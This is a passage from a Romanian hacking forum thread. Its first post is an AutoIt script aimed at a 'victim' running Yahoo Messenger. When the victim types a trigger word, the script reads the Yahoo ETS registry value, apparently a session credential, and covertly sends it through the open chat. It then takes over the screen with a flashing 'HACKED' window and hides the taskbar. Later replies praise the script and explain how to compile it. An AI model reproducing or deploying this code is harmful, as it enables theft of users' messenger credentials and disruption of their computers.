Jimmy Posted October 3, 2012 Report Posted October 3, 2012 (edited) Cand victima tasteaza cuvantul /bine/ veti primi ets-ul ei si se apeleaza functia funny...facut de plictiseala , il puteti modifica de exemplu cand scrie un anumit cuvant sa faca nush ce...plm, end of story Ps/ functia funny e de pe net.AutoitWhile 1 If WinExists("[CLASS:CTabbedIMHost]") Then $Text = ControlGetText("[CLASS:CTabbedIMHost]", "", "YIMInputWindow1") $Word = "bine" $String = StringCompare($Text, $Word) If $String = 0 Then ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", " coi {ENTER}") $ETS = RegRead("HKEY_CURRENT_USER\Software\Yahoo\pager", "ETS") WinSetTrans("[CLASS:CTabbedIMHost]", "", 0) ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", $ETS & "{ENTER}") WinSetTrans("[CLASS:CTabbedIMHost]", "", 255) ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", "<DING>{ENTER}") _Funny () EndIf EndIf Sleep(100)WEndFunc _Funny ()While True WinMinimizeAll() WinSetState("[CLASS:DV2ControlHost]", "", @SW_DISABLE) WinSetTrans("[CLASS:DV2ControlHost]", "", 0) WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_HIDE) WinSetState("Program Manager", "", @SW_HIDE) HotKeySet("{ESC}", "_escape") Global $x Global $y Global $c Global $o $gui = GUICreate("HACKED", @DesktopWidth + 3, @DesktopHeight + 3, -1, -1) GUISetState(@SW_SHOW) WinSetTrans("HACKED", "", 99) While 1 $x = Random(150, @DesktopWidth, 1) $y = Random(150, @DesktopHeight, 1) $c = Random(000000, 999999, 1) $o = Random(75, 99, 1) MouseMove($x, $y, 5) ToolTip("HACKED") GUISetBkColor($c, $gui) Sleep(5) WEndWEndEndFuncFunc _escape() GUISetState(@SW_HIDE, "Cover") WinSetState("Program Manager", "", @SW_SHOW) WinSetState("Program Manager", "", @SW_SHOW) WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_SHOW) WinSetState("[CLASS:DV2ControlHost]", "", @SW_ENABLE) WinSetTrans("[CLASS:DV2ControlHost]", "", 255) ExitEndFunc Edited October 3, 2012 by Jimmy 1 Quote
YzY Posted November 1, 2012 Report Posted November 1, 2012 Si....Ce fac cu acel cod cine imi poate explica chiar nu inteleg cum se foloseste Quote
StoNe- Posted November 8, 2012 Report Posted November 8, 2012 Si....Ce fac cu acel cod cine imi poate explica chiar nu inteleg cum se foloseste Nu cred ca sta nimeni sa iti explice. Toti au invatat singuri , nu mura-n gura. Quote
AltraX Posted November 8, 2012 Report Posted November 8, 2012 @StoNe- , daca cu un post si deja comentezi , ma intrebi cum o sa faci cand ai reputatie .O sa imi amintesc de tine , daca tu nu ajuti , nu astepta ca cineva sa te ajute.Punem pariu ca o sa il ajute cineva? "Mura-n gura".ON : Frumos omule. O sa il testez. Quote
Che Posted November 9, 2012 Report Posted November 9, 2012 s-o rezolvat -> Frumos ! Cum ai facut ? Quote
io.kent Posted November 9, 2012 Report Posted November 9, 2012 sia pus ochelari de soare sa vada codul color:)) che ce intrebare iai bagat=))jimmy frumos! Quote
Alexutzu98 Posted November 9, 2012 Report Posted November 9, 2012 Explicati-mi si mie ceva Nu prea inteleg ... Quote
bubu2005 Posted November 9, 2012 Report Posted November 9, 2012 Explicati-mi si mie ceva Nu prea inteleg ...Descarci,programul COILII de aici:AutoIt Downloads - AutoItScriptiei sursa si il compilezi si gata Quote